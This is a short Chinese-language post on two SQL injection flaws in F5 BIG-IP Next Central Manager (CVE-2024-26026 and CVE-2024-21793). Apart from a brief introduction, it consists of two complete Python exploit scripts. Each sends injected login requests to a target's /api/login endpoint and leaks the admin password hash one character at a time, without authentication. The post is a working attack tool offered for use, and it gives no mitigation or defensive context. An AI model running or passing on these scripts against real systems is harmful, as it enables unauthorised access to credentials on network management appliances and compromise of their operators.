## F5-BIG-IP存在SQL注入漏洞(CVE-2024-26026)&(CVE-2024-21793) F5 BIG-IP Next Central Manager 可用于全面管理、自动化和监控部署在任何地方的众多 BIG-IP Next 实例。2025年5月8日,官方披露其存在CVE-2024-26026&CVE-2024-21793 F5 BIG-IP Next Central Manager SQL注入漏洞,攻击者可在无需登陆的情况下利用注入获取数据库中的敏感信息。 ## CVE-2024-26026 ```python import string import requests import urllib3 import argparse urllib3.disable_warnings() def encode_string(s: str) -> str: return ",".join([f"chr({ord(c)})" for c in s]) def leak_hash(target: str, target_user: str = "admin"): charset = string.digits + string.ascii_letters + '/.$' encoded_user = encode_string(target_user) URL = f"{target}/api/login" current_guess = '' while True: guessed = False for guess in charset: full_guess = encode_string(current_guess + guess + '%') stuff = requests.post(URL, json={ "username": "fake_user", "password": "password", "provider_type": "LDAP", "provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)" }, verify=False).json() if "root distinguished name is required" in stuff["message"]: guessed = True current_guess += guess print("[+]", current_guess) break if not guessed: break if __name__ == '__main__': parser = argparse.ArgumentParser(description='Leak the admin password hash') parser.add_argument('target', type=str, help='The target URL') parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?') args = parser.parse_args() leak_hash(args.target, args.target_user) ``` ## CVE-2024-21793 ```python import string import requests import urllib3 import argparse urllib3.disable_warnings() def leak_hash(target: str, target_user: str = "admin"): URL = f"{target}/api/login" charset = string.digits + string.ascii_letters + '/.$' current_guess = '' while True: guessed = False for guess in charset: full_guess = current_guess + guess stuff = requests.post(URL, json={ "username": f"fakeuser' or 'username' eq '{target_user}' and startswith('password','{full_guess}') or 'username' eq '1", "password": "password", "provider_type": "LDAP", "provider_name": "LDAP" }, verify=False).json() if stuff["status"] == 500: guessed = True current_guess += guess print("[+]", current_guess) break if not guessed: break if __name__ == '__main__': parser = argparse.ArgumentParser(description='Leak the admin password hash') parser.add_argument('target', type=str, help='The target URL') parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?') args = parser.parse_args() leak_hash(args.target, args.target_user) ```